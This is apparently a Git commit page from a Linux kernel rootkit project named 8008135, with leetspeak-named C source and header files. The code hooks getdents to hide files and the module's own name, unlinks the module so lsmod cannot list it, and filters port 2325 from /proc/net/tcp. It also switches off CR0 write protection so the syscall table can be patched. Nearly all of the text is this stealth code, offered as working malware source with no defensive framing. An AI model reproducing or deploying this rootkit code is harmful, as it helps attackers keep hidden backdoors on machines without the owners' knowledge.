exporting functions to files
parent
bd0a37f68b
commit
500087d2ca
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/*******************************************************************************/
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/**** includes *****************************************************************
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*******************************************************************************/
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#include "637d3n75.h"
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/*******************************************************************************/
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/*** FUNCTION ****************************************************************
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* NAME: sys_getdents_new
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* DESCRIPTION: function overriding the original getdents
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* PARAMETERS: -
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* RETURNS: -
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*******************************************************************************/
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asmlinkage long sys_getdents_new(unsigned int fd,
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struct linux_dirent __user *dirent,
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unsigned int count){
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int boff;
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struct linux_dirent* ent;
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long ret = sys_getdents_orig(fd, dirent, count);
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char* dbuf;
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if (ret <= 0) {
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return ret;
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}
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dbuf = (char*)dirent;
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// go through the entries, looking for one that has our prefix
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for (boff = 0; boff < ret;) {
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ent = (struct linux_dirent*)(dbuf + boff);
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// if it has hide prefix or module name anywhere, hide it
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if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
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|| (strstr(ent->d_name, MODULE_NAME) != NULL)) {
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// remove this entry by copying everything after it forward
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// and adjust the length reported
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memcpy(dbuf + boff,
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dbuf + boff + ent->d_reclen,
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ret - (boff + ent->d_reclen));
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ret -= ent->d_reclen;
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} else {
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// on to the next entry
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boff += ent->d_reclen;
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}
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}
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return ret;
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}
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/*******************************************************************************/
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/**** includes *****************************************************************
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*******************************************************************************/
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#include "h1d3m0dul3.h"
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/*******************************************************************************/
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/*** FUNCTION ****************************************************************
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* NAME: hide_module
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* DESCRIPTION: hides the module from lsmod
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* PARAMETERS: -
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* RETURNS:
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*******************************************************************************/
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void hide_module(void){
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list_del(&THIS_MODULE->list);
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}
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/*******************************************************************************/
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/**** includes *****************************************************************
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*******************************************************************************/
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#include "h1d3p0r7.h"
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/*******************************************************************************/
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/*** FUNCTION ****************************************************************
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* NAME: hide port
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* DESCRIPTION: hides the port 2325
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* PARAMETERS: -
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* RETURNS:
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*******************************************************************************/
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asmlinkage long hacked_read(unsigned int fd, char __user *buf,
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size_t count)
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{
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long result, bp, diff_in_bytes;
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char *kbuf, *start_line, *end_line, *port_num;
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char *pathname, pbuf[256];
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struct files_struct *current_files;
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struct fdtable *files_table;
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struct path file_path;
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// run real read
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result = (*orig_read)(fd,buf,count);
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if (result <= 0)
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return result;
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// get pathname
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// CITATION [8] from report
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current_files = current->files;
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files_table = files_fdtable(current_files);
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file_path = files_table->fd[fd]->f_path;
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pathname = d_path(&file_path,pbuf,256*sizeof(char));
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// if virtual file /proc/net/tcp
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if (!strncmp(pathname,"/proc/",6) && !strcmp(pathname+10,"/net/tcp")) {
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// copy from user to kernelspace;
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if (!access_ok(VERIFY_READ,buf,result))
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return -1;
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if ((kbuf = kmalloc(result,GFP_KERNEL)) == NULL)
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return -1;
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if (copy_from_user(kbuf,buf,result))
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return -1;
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// filter out hidden ports
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start_line = strchr(kbuf,':') - 4; // skip first line
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diff_in_bytes = (start_line - kbuf) * sizeof(char);
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for (bp = diff_in_bytes; bp < result; bp += diff_in_bytes) {
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start_line = kbuf + bp;
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port_num = strchr(strchr(start_line,':') + 1,':') + 1;
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end_line = strchr(start_line,'\n');
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diff_in_bytes = ((end_line - start_line) + 1) * sizeof(char);
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if (!strncmp(port_num,HIDE_PORT,4)) { // if magic port
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memmove(start_line,end_line + 1, // delete line in file
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result - bp - diff_in_bytes);
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result -= diff_in_bytes;
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}
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}
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// copy from kernel to userspace
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if (!access_ok(VERIFY_WRITE,buf,result))
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return EINVAL;
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if (copy_to_user(buf,kbuf,result))
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return EINVAL;
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kfree(kbuf);
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}
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// return number of bytes read
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return result;
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}
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#pragma once
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#include <linux/fs.h>
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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#ifndef SRC_HEADERS_637d3n75_H
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#define SRC_HEADERS_637d3n75_H
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/**** var ********************************************************************
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*******************************************************************************/
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sys_getdents_t sys_getdents_orig = NULL;
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extern asmlinkage long sys_getdents_new(unsigned int fd,
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struct linux_dirent __user *dirent,
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unsigned int count);
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#endif
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@ -0,0 +1,26 @@
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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#ifndef SRC_HEADERS_h1d3m0dul3_H
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#define SRC_HEADERS_h1d3m0dul3_H
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extern void hide_module(void);
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#endif
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@ -0,0 +1,31 @@
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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#ifndef SRC_HEADERS_h1d3p0r7_H
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#define SRC_HEADERS_h1d3p0r7_H
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#include "50ck3t.h"
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/**** var **********************************************************************
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*******************************************************************************/
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read_ptr orig_read;
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extern asmlinkage long hacked_read(unsigned int fd, char __user *buf,
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size_t count)
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#endif
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@ -0,0 +1,31 @@
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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#ifndef SRC_HEADERS_p463unpr073c7_H
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#define SRC_HEADERS_p463unpr073c7_H
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/**** defines *****************************************************************
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*******************************************************************************/
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#define WRITE_PROTECT_FLAG (1<<16)
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extern void wprotectionoff(void);
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extern void wprotectionon(void);
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#endif
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@ -0,0 +1,48 @@
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/*******************************************************************************/
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/**** includes *****************************************************************
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*******************************************************************************/
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#include "p463unpr073c7.h"
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/*******************************************************************************/
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/*** FUNCTION ****************************************************************
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* NAME: wprotectionoff
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* DESCRIPTION: turn page write protection off
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* PARAMETERS: -
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* RETURNS:
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*******************************************************************************/
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void wprotectionoff(void){
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write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
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}
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/*** FUNCTION ****************************************************************
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* NAME: wprotectionon
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* DESCRIPTION: turn page write protection on
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* PARAMETERS: -
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* RETURNS:
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*******************************************************************************/
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void wprotectionon(void){
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write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
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}
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Reference in New Issue